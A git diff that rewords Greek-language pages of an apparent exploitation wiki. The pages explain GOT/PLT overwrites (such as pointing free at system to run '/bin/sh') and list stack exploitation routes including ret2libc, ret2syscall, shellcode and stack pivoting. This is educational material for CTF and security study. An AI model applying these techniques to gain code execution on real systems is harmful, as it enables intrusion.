diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
index ab85ab69b..fb6820e11 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
@@ -8,11 +8,11 @@
Ο **Παγκόσμιος Πίνακας Μεταθέσεων (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για να **ενημερώνονται δυναμικά οι διευθύνσεις αυτών των εξωτερικών συμβόλων** μόλις επιλυθούν.
-Κάθε καταχώρηση στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που είναι αποθηκευμένη στον GOT, αποφεύγοντας έτσι την επιβάρυνση της εκ νέου επίλυσης της διεύθυνσης.
+Κάθε καταχώρηση στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στον GOT, αποφεύγοντας έτσι την επιβάρυνση της εκ νέου επίλυσης της διεύθυνσης.
### **PLT: Πίνακας Σύνδεσης Διαδικασιών**
-Ο **Πίνακας Σύνδεσης Διαδικασιών (PLT)** συνεργάζεται στενά με τον GOT και λειτουργεί ως trampoline για να διαχειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια καταχώρηση στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στον **GOT**.
+Ο **Πίνακας Σύνδεσης Διαδικασιών (PLT)** συνεργάζεται στενά με τον GOT και λειτουργεί ως αναπήδηση για να διαχειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια καταχώρηση στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στον **GOT**.
**Επομένως,** οι καταχωρήσεις GOT χρησιμοποιούνται άμεσα μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέσμου.
@@ -20,7 +20,7 @@
### Ελέγξτε τον GOT
-Λάβετε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`**
+Αποκτήστε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`**
.png>)
@@ -34,17 +34,17 @@
### GOT2Exec
-Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **επικαλύψει μια καταχώρηση GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης** **`system`** για παράδειγμα.
+Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **επικαλύψει μια καταχώρηση GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης `system`** για παράδειγμα.
-Ιδανικά, θα **επικαλύψετε** τον **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system).
+Ιδανικά, θα **επικαλύψετε** τον **GOT** μιας **συνάρτησης** που πρόκειται να **καλεστεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system).
Αν η **`system`** **δεν χρησιμοποιείται** από το δυαδικό αρχείο, η συνάρτηση system **δεν θα** έχει μια καταχώρηση στον PLT. Σε αυτό το σενάριο, θα **πρέπει πρώτα να διαρρεύσετε τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να επικαλύψετε τον GOT για να δείξετε σε αυτή τη διεύθυνση.
Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`**
-## Καταχωρήσεις GOT της libc
+## Εγγραφές GOT της libc
-Ο **GOT της libc** συνήθως μεταγλωττίζεται με **μερική RELRO**, καθιστώντας τον έναν ωραίο στόχο για αυτό, υποθέτοντας ότι είναι δυνατό να προσδιοριστεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
+Ο **GOT της libc** συνήθως έχει μεταγλωττιστεί με **μερική RELRO**, καθιστώντας τον έναν καλό στόχο για αυτό, υποθέτοντας ότι είναι δυνατό να προσδιοριστεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
Κοινές συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων ο GOT θα μπορούσε να επικαλυφθεί προκειμένου να αποκτηθεί εκτέλεση κώδικα.
@@ -52,7 +52,7 @@
### **Free2system**
-Στην εκμετάλλευση heap CTFs είναι κοινό να μπορείτε να ελέγξετε το περιεχόμενο των chunks και σε κάποιο σημείο ακόμη και να επικαλύψετε τον πίνακα GOT. Ένα απλό κόλπο για να αποκτήσετε RCE αν δεν είναι διαθέσιμα gadgets είναι να επικαλύψετε τη διεύθυνση GOT του `free` ώστε να δείχνει στη `system` και να γράψετε μέσα σε ένα chunk `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το chunk απελευθερωθεί, θα εκτελέσει `system("/bin/sh")`.
+Στην εκμετάλλευση heap CTFs είναι κοινό να μπορείτε να ελέγξετε το περιεχόμενο των τμημάτων και σε κάποιο σημείο ακόμη και να επικαλυφθεί ο πίνακας GOT. Ένα απλό κόλπο για να αποκτήσετε RCE αν δεν είναι διαθέσιμα gadgets είναι να επικαλύψετε τη διεύθυνση GOT του `free` ώστε να δείχνει στη `system` και να γράψετε μέσα σε ένα τμήμα `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το τμήμα απελευθερωθεί, θα εκτελέσει `system("/bin/sh")`.
### **Strlen2system**
@@ -68,8 +68,8 @@
## **Κατάχρηση του GOT από Heap**
-Ένας κοινός τρόπος για να αποκτήσετε RCE από μια ευπάθεια heap είναι να καταχραστείτε ένα fastbin ώστε να είναι δυνατό να προσθέσετε το μέρος του πίνακα GOT στο fast bin, έτσι ώστε κάθε φορά που αυτό το chunk κατανεμηθεί θα είναι δυνατό να **επικαλύψετε τον δείκτη μιας συνάρτησης, συνήθως του `free`**.\
-Στη συνέχεια, δείχνοντας το `free` στη `system` και απελευθερώνοντας ένα chunk όπου γράφτηκε το `/bin/sh\x00` θα εκτελέσει ένα shell.
+Ένας κοινός τρόπος για να αποκτήσετε RCE από μια ευπάθεια heap είναι να καταχραστείτε ένα fastbin ώστε να είναι δυνατό να προσθέσετε το μέρος του πίνακα GOT στο fast bin, έτσι ώστε κάθε φορά που αυτό το τμήμα κατανεμηθεί θα είναι δυνατό να **επικαλύψετε τον δείκτη μιας συνάρτησης, συνήθως `free`**.\
+Στη συνέχεια, δείχνοντας το `free` στη `system` και απελευθερώνοντας ένα τμήμα όπου γράφτηκε το `/bin/sh\x00` θα εκτελέσει ένα shell.
Είναι δυνατό να βρείτε ένα [**παράδειγμα εδώ**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index 9c3a6d0c9..c50daa6af 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -4,7 +4,7 @@
## Βασικές Πληροφορίες για ELF
-Πριν ξεκινήσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **ELF δυαδικού αρχείου**:
+Πριν ξεκινήσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **ELF δυαδικού**:
{{#ref}}
elf-tricks.md
@@ -24,13 +24,13 @@ tools/
Υπάρχουν διάφοροι τρόποι με τους οποίους μπορείτε να ελέγξετε τη ροή ενός προγράμματος:
-- [**Σφάλματα Στοίβας**](../stack-overflow/) που παραγράφουν τον δείκτη επιστροφής από τη στοίβα ή το EBP -> ESP -> EIP.
-- Μπορεί να χρειαστεί να καταχραστείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα.
-- Ή μέσω **Αυθαίρετων Εγγραφών + Γράψτε Τι Πού για Εκτέλεση**.
-- [**Μορφοποιημένες συμβολοσειρές**](../format-strings/)**:** Καταχραστείτε το `printf` για να γράψετε αυθαίρετο περιεχόμενο σε αυθαίρετες διευθύνσεις.
-- [**Δεικτοδότηση Πίνακα**](../array-indexing.md): Καταχραστείτε μια κακώς σχεδιασμένη δεικτοδότηση για να μπορέσετε να ελέγξετε ορισμένους πίνακες και να αποκτήσετε μια αυθαίρετη εγγραφή.
-- Μπορεί να χρειαστεί να καταχραστείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα.
-- **bof σε WWW μέσω ROP**: Καταχραστείτε μια υπερχείλιση buffer για να κατασκευάσετε ένα ROP και να μπορέσετε να αποκτήσετε ένα WWW.
+- [**Σφάλματα Στοίβας**](../stack-overflow/index.html) που παραγράφουν τον δείκτη επιστροφής από τη στοίβα ή το EBP -> ESP -> EIP.
+- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα
+- Ή μέσω **Αυθαίρετων Εγγραφών + Γράψτε Τι Πού για Εκτέλεση**
+- [**Μορφοποιημένες συμβολοσειρές**](../format-strings/index.html)**:** Εκμεταλλευτείτε το `printf` για να γράψετε αυθαίρετο περιεχόμενο σε αυθαίρετες διευθύνσεις.
+- [**Δεικτοδότηση Πίνακα**](../array-indexing.md): Εκμεταλλευτείτε μια κακώς σχεδιασμένη δεικτοδότηση για να μπορέσετε να ελέγξετε ορισμένους πίνακες και να αποκτήσετε μια αυθαίρετη εγγραφή.
+- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα
+- **bof σε WWW μέσω ROP**: Εκμεταλλευτείτε μια υπερχείλιση buffer για να κατασκευάσετε ένα ROP και να μπορέσετε να αποκτήσετε ένα WWW.
Μπορείτε να βρείτε τις τεχνικές **Γράψτε Τι Πού για Εκτέλεση** σε:
@@ -40,11 +40,11 @@ tools/
## Αιώνιοι Βρόχοι
-Κάτι που πρέπει να λάβετε υπόψη είναι ότι συνήθως **μόνο μία εκμετάλλευση μιας ευπάθειας μπορεί να μην είναι αρκετή** για να εκτελέσετε μια επιτυχημένη εκμετάλλευση, ειδικά κάποιες προστασίες χρειάζονται να παρακαμφθούν. Επομένως, είναι ενδιαφέρον να συζητήσουμε ορισμένες επιλογές για **να κάνουμε μια μοναδική ευπάθεια εκμεταλλεύσιμη πολλές φορές** στην ίδια εκτέλεση του δυαδικού αρχείου:
+Κάτι που πρέπει να λάβετε υπόψη είναι ότι συνήθως **μόνο μία εκμετάλλευση μιας ευπάθειας μπορεί να μην είναι αρκετή** για να εκτελέσετε μια επιτυχημένη εκμετάλλευση, ειδικά κάποιες προστασίες χρειάζονται να παρακαμφθούν. Επομένως, είναι ενδιαφέρον να συζητήσουμε ορισμένες επιλογές για **να κάνουμε μια μοναδική ευπάθεια εκμεταλλεύσιμη πολλές φορές** στην ίδια εκτέλεση του δυαδικού:
- Γράψτε σε μια **αλυσίδα ROP** τη διεύθυνση της **`main` συνάρτησης** ή τη διεύθυνση όπου συμβαίνει η **ευπάθεια**.
-- Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορεί να είστε σε θέση να εκτελέσετε όλες τις ενέργειες σε αυτήν την αλυσίδα.
-- Γράψτε στη **διεύθυνση `exit` στο GOT** (ή σε οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν τελειώσει) τη διεύθυνση για να **επιστρέψετε στην ευπάθεια**.
+- Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορεί να είστε σε θέση να εκτελέσετε όλες τις ενέργειες σε αυτήν την αλυσίδα
+- Γράψτε στη **διεύθυνση `exit` στο GOT** (ή σε οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν από την ολοκλήρωση) τη διεύθυνση για να **επιστρέψετε στην ευπάθεια**
- Όπως εξηγήθηκε στο [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** αποθηκεύστε 2 συναρτήσεις εδώ, μία για να καλέσετε ξανά την ευπάθεια και άλλη για να καλέσετε**`__libc_csu_fini`** που θα καλέσει ξανά τη συνάρτηση από το `.fini_array`.
## Στόχοι Εκμετάλλευσης
@@ -52,60 +52,60 @@ tools/
### Στόχος: Κλήση Μιας Υπάρχουσας Συνάρτησης
- [**ret2win**](#ret2win): Υπάρχει μια συνάρτηση στον κώδικα που πρέπει να καλέσετε (ίσως με κάποιες συγκεκριμένες παραμέτρους) προκειμένου να αποκτήσετε τη σημαία.
-- Σε μια **κανονική bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) απλά χρειάζεται να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στη στοίβα.
-- Σε μια bof με [**PIE**](../common-binary-protections-and-bypasses/pie/), θα χρειαστεί να την παρακάμψετε.
-- Σε μια bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), θα χρειαστεί να την παρακάμψετε.
+- Σε μια **κανονική bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) απλά χρειάζεται να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στη στοίβα.
+- Σε μια bof με [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), θα χρειαστεί να την παρακάμψετε
+- Σε μια bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), θα χρειαστεί να την παρακάμψετε
- Αν χρειαστεί να ορίσετε πολλές παραμέτρους για να καλέσετε σωστά τη συνάρτηση **ret2win**, μπορείτε να χρησιμοποιήσετε:
-- Μια [**ROP**](#rop-and-ret2...-techniques) **αλυσίδα αν υπάρχουν αρκετά gadgets** για να προετοιμάσετε όλες τις παραμέτρους.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (σε περίπτωση που μπορείτε να καλέσετε αυτή τη syscall) για να ελέγξετε πολλούς καταχωρητές.
-- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές.
-- Μέσω ενός [**Write What Where**](../arbitrary-write-2-exec/) μπορείτε να καταχραστείτε άλλες ευπάθειες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**.
-- [**Διευθύνσεις Ανακατεύθυνσης**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατό να παραγράψετε αυτή τη διεύθυνση.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) μπορεί να επηρεάσουν τις διευθύνσεις.
+- Μια [**ROP**](#rop-and-ret2...-techniques) **αλυσίδα αν υπάρχουν αρκετά gadgets** για να προετοιμάσετε όλες τις παραμέτρους
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (σε περίπτωση που μπορείτε να καλέσετε αυτή τη syscall) για να ελέγξετε πολλούς καταχωρητές
+- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές
+- Μέσω ενός [**Write What Where**](../arbitrary-write-2-exec/index.html) μπορείτε να εκμεταλλευτείτε άλλες ευπάθειες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**.
+- [**Ανακατεύθυνση Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να παραγράψετε αυτή τη διεύθυνση.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) μπορεί να επηρεάσουν τις διευθύνσεις.
- [**Μη αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε.
### Στόχος: RCE
#### Μέσω shellcode, αν το nx είναι απενεργοποιημένο ή αναμειγνύοντας shellcode με ROP:
-- [**(Στοίβα) Shellcode**](#stack-shellcode): Αυτό είναι χρήσιμο για να αποθηκεύσετε ένα shellcode στη στοίβα πριν ή μετά την υπερχείλιση του δείκτη επιστροφής και στη συνέχεια **να κάνετε jump σε αυτό** για να το εκτελέσετε:
-- **Σε κάθε περίπτωση, αν υπάρχει ένα** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** σε μια κανονική bof θα χρειαστεί να την παρακάμψετε (leak).
-- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) είναι δυνατό να κάνετε jump στη διεύθυνση της στοίβας καθώς δεν θα αλλάξει ποτέ.
-- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) θα χρειαστείτε τεχνικές όπως [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) για να κάνετε jump σε αυτό.
-- **Με** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), θα χρειαστεί να χρησιμοποιήσετε κάποιο [**ROP**](../rop-return-oriented-programing/) **για να καλέσετε `memprotect`** και να κάνετε κάποια σελίδα `rwx`, προκειμένου να **αποθηκεύσετε το shellcode εκεί** (καλώντας read για παράδειγμα) και στη συνέχεια να κάνετε jump εκεί.
+- [**(Στοίβα) Shellcode**](#stack-shellcode): Αυτό είναι χρήσιμο για να αποθηκεύσετε ένα shellcode στη στοίβα πριν ή μετά την υπερχείλιση του δείκτη επιστροφής και στη συνέχεια **να μεταβείτε σε αυτό** για να το εκτελέσετε:
+- **Σε κάθε περίπτωση, αν υπάρχει ένα** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** σε μια κανονική bof θα χρειαστεί να την παρακάμψετε (leak)
+- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) είναι δυνατόν να μεταβείτε στη διεύθυνση της στοίβας καθώς δεν θα αλλάξει ποτέ
+- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα χρειαστείτε τεχνικές όπως [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) για να μεταβείτε σε αυτό
+- **Με** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), θα χρειαστεί να χρησιμοποιήσετε κάποιο [**ROP**](../rop-return-oriented-programing/index.html) **για να καλέσετε `memprotect`** και να κάνετε κάποια σελίδα `rwx`, προκειμένου να **αποθηκεύσετε το shellcode εκεί** (καλώντας read για παράδειγμα) και στη συνέχεια να μεταβείτε εκεί.
- Αυτό θα αναμείξει το shellcode με μια αλυσίδα ROP.
#### Μέσω syscalls
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Χρήσιμο για να καλέσετε `execve` για να εκτελέσετε αυθαίρετες εντολές. Πρέπει να μπορείτε να βρείτε τους **gadgets για να καλέσετε τη συγκεκριμένη syscall με τις παραμέτρους**.
-- Αν [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) είναι ενεργοποιημένα, θα χρειαστεί να τα νικήσετε **προκειμένου να χρησιμοποιήσετε ROP gadgets** από το δυαδικό ή τις βιβλιοθήκες.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) μπορεί να είναι χρήσιμο για να προετοιμάσετε το **ret2execve**.
-- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές.
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Χρήσιμο για να καλέσετε το `execve` για να εκτελέσετε αυθαίρετες εντολές. Πρέπει να μπορείτε να βρείτε τους **gadgets για να καλέσετε τη συγκεκριμένη syscall με τις παραμέτρους**.
+- Αν [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) είναι ενεργοποιημένα, θα χρειαστεί να τα νικήσετε **για να χρησιμοποιήσετε ROP gadgets** από το δυαδικό ή τις βιβλιοθήκες.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) μπορεί να είναι χρήσιμο για να προετοιμάσετε το **ret2execve**
+- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές
#### Μέσω libc
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Χρήσιμο για να καλέσετε μια συνάρτηση από μια βιβλιοθήκη (συνήθως από **`libc`**) όπως **`system`** με κάποιες προετοιμασμένες παραμέτρους (π.χ. `'/bin/sh'`). Πρέπει το δυαδικό να **φορτώσει τη βιβλιοθήκη** με τη συνάρτηση που θα θέλατε να καλέσετε (συνήθως libc).
-- Αν **είναι στατικά μεταγλωττισμένο και χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/), η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατό να τις χρησιμοποιήσετε στατικά.
-- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και γνωρίζοντας την έκδοση libc** που έχει φορτωθεί, η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατό να τις χρησιμοποιήσετε στατικά.
-- Με [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **αλλά χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, γνωρίζοντας την libc και με το δυαδικό να χρησιμοποιεί τη συνάρτηση `system`** είναι δυνατό να **`ret` στη διεύθυνση του system στο GOT** με τη διεύθυνση του `'/bin/sh'` στην παράμετρο (θα χρειαστεί να το καταλάβετε αυτό).
-- Με [ASLR](../common-binary-protections-and-bypasses/aslr/) αλλά χωρίς [PIE](../common-binary-protections-and-bypasses/pie/), γνωρίζοντας την libc και **χωρίς το δυαδικό να χρησιμοποιεί τη `system`** :
-- Χρησιμοποιήστε [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) για να επιλύσετε τη διεύθυνση του `system` και να την καλέσετε.
-- **Παρακάμψτε** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) και υπολογίστε τη διεύθυνση του `system` και του `'/bin/sh'` στη μνήμη.
-- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και χωρίς να γνωρίζετε την libc**: Πρέπει να:
-- Παρακάμψετε [**PIE**](../common-binary-protections-and-bypasses/pie/).
-- Βρείτε την **έκδοση `libc`** που χρησιμοποιείται (leak μερικές διευθύνσεις συναρτήσεων).
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Χρήσιμο για να καλέσετε μια συνάρτηση από μια βιβλιοθήκη (συνήθως από **`libc`**) όπως **`system`** με κάποιες προετοιμασμένες παραμέτρους (π.χ. `'/bin/sh'`). Πρέπει το δυαδικό να **φορτώσει τη βιβλιοθήκη** με τη συνάρτηση που θα θέλατε να καλέσετε (συνήθως libc).
+- Αν **είναι στατικά μεταγλωττισμένο και δεν έχει** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά.
+- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και γνωρίζοντας την έκδοση libc** που έχει φορτωθεί, η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά.
+- Με [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **αλλά χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, γνωρίζοντας την libc και με το δυαδικό να χρησιμοποιεί τη συνάρτηση `system`** είναι δυνατόν να **`ret` στη διεύθυνση του system στο GOT** με τη διεύθυνση του `'/bin/sh'` στην παράμετρο (θα χρειαστεί να το καταλάβετε).
+- Με [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) αλλά χωρίς [PIE](../common-binary-protections-and-bypasses/pie/index.html), γνωρίζοντας την libc και **χωρίς το δυαδικό να χρησιμοποιεί τη `system`** :
+- Χρησιμοποιήστε [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) για να επιλύσετε τη διεύθυνση του `system` και να την καλέσετε
+- **Παρακάμψτε** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) και υπολογίστε τη διεύθυνση του `system` και του `'/bin/sh'` στη μνήμη.
+- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **και χωρίς να γνωρίζετε την libc**: Πρέπει να:
+- Παρακάμψετε [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)
+- Βρείτε την **έκδοση `libc`** που χρησιμοποιείται (leak μερικές διευθύνσεις συναρτήσεων)
- Ελέγξτε τα **προηγούμενα σενάρια με ASLR** για να συνεχίσετε.
#### Μέσω EBP/RBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Ελέγξτε το ESP για να ελέγξετε το RET μέσω του αποθηκευμένου EBP στη στοίβα.
-- Χρήσιμο για **off-by-one** υπερχείλιση στοίβας.
-- Χρήσιμο ως εναλλακτικός τρόπος για να ελέγξετε το EIP ενώ καταχράστε το EIP για να κατασκευάσετε το payload στη μνήμη και στη συνέχεια να κάνετε jump σε αυτό μέσω EBP.
+- Χρήσιμο για **off-by-one** υπερχείλιση στοίβας
+- Χρήσιμο ως εναλλακτικός τρόπος για να ελέγξετε το EIP ενώ εκμεταλλεύεστε το EIP για να κατασκευάσετε το payload στη μνήμη και στη συνέχεια να μεταβείτε σε αυτό μέσω EBP
#### Διάφορα
-- [**Διευθύνσεις Ανακατεύθυνσης**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατό να παραγράψετε αυτή τη διεύθυνση.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) μπορεί να επηρεάσουν τις διευθύνσεις.
